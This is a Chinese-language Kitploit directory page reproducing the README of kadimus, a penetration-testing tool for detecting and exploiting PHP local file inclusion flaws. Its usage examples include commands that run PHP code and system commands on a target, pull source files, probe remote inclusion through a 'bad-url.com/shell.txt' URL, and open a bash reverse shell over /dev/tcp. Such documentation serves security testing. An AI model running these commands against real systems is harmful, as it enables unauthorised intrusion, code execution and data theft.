Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
kadimus — kadimus 是一个用于检测和利用 LFI 漏洞的工具。 | Kitploit
工具/GitHubGitHub/p0cl4bs/kadimus
漏洞扫描器代码分析漏洞利用Web应用程序漏洞利用渗透测试远程访问工具Archived
GitHubp0cl4bs/kadimus

kadimus

kadimus 是一个用于检测和利用 LFI 漏洞的工具。

查看仓库
575127176年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Rawsec's CyberSecurity Inventory GitHub stars GitHub license

kadimus

LFI 扫描与利用工具

kadimus 是一个用于检测和利用 LFI 漏洞的工具,专注于 PHP 系统。

功能:

  • 检查所有 URL 参数
  • /var/log/auth.log RCE
  • /proc/self/environ RCE
  • php://input RCE
  • data://text RCE
  • expect://cmd RCE
  • 源码泄露
  • 通过 HTTP 请求的命令行界面
  • 代理支持 (socks4://, socks4a://, socks5://, socks5h:// 和 http://)
  • 对远程连接的 socks5 代理支持

编译:

首先,确保你的系统已安装所有依赖项:libcurl、libopenssl、libpcre 和 libssh。

然后你可以克隆仓库以获取源代码:

$ git clone https://github.com/P0cL4bs/kadimus.git
$ cd kadimus

最后:

$ make

选项:

Options:
  -h, --help                    Display this help menu

  Request:
    -B, --cookie STRING         Set custom HTTP cookie header
    -A, --user-agent STRING     User-Agent to send to server
    --connect-timeout SECONDS   Maximum time allowed for connection
    --retry NUMBER              Number of times to retry if connection fails
    --proxy STRING              Proxy to connect (syntax: protocol://hostname:port)

  Scanner:
    -u, --url STRING            URL to scan/exploit
    -o, --output FILE           File to save output results

  Explotation:
    --parameter STRING          Parameter name to inject exploit
                                (only needed by RCE data and source disclosure)

  RCE:
    -T, --technique=TECH        LFI to RCE technique to use
    -C, --code STRING           Custom PHP code to execute, with php brackets
    -c, --cmd STRING            Execute system command on vulnerable target system
    -s, --shell                 Simple command shell interface through HTTP request

    --connect STRING            IP/hostname to connect to
    -p, --port NUMBER           Port number to connect to or listen on
    -l, --listen                Bind and listen for incoming connections

    --ssh-port NUMBER           Set the SSH port to try command injection (default: 22)
    --ssh-target STRING         Set the SSH host

    RCE Available techniques

      environ                   Try to run PHP code using /proc/self/environ
      input                     Try to run PHP code using php://input
      auth                      Try to run PHP code using /var/log/auth.log
      data                      Try to run PHP code using data://text
      expect                    Try to run a command using expect://cmd

    Source Disclosure:
      -S, --source              Try to get the source file using filter://
      -f, --filename STRING     Set filename to grab source [REQUIRED]
      -O FILE                   Set output file (default: stdout)

示例:

扫描:

./kadimus -u localhost/?pg=contact -A my_user_agent

获取文件源码:

./kadimus -u localhost/?pg=contact -S -f "index.php%00" -O local_output.php --parameter pg

执行 PHP 代码:

./kadimus -u localhost/?pg=php://input%00 -C '<?php echo "pwned"; ?>' -T input

执行命令:

./kadimus -t localhost/?pg=/var/log/auth.log -T auth -c 'ls -lah' --ssh-target localhost

检查 RFI:

你还可以检查 RFI 错误——只需将远程 URL 放入 resource/common_files.txt 中,并添加用于识别它们的正则表达式,例如:

/* http://bad-url.com/shell.txt */
<?php echo base64_decode("c2NvcnBpb24gc2F5IGdldCBvdmVyIGhlcmU="); ?>

在文件中:

http://bad-url.com/shell.txt?:scorpion say get over here

反向 Shell:

./kadimus -u localhost/?pg=contact.php -T data --parameter pg -lp 12345 -c '/bin/bash -c "bash -i >& /dev/tcp/172.17.0.1/1234 0>&1"' --retry-times 0

贡献

你可以通过代码或捐赠来帮助。 如果你想通过代码帮助,请参考内核代码风格。

Paypal:

BTC: 1PpbrY6j1HNPF7fS2LhG9SF2wtyK98GSwq

下载工具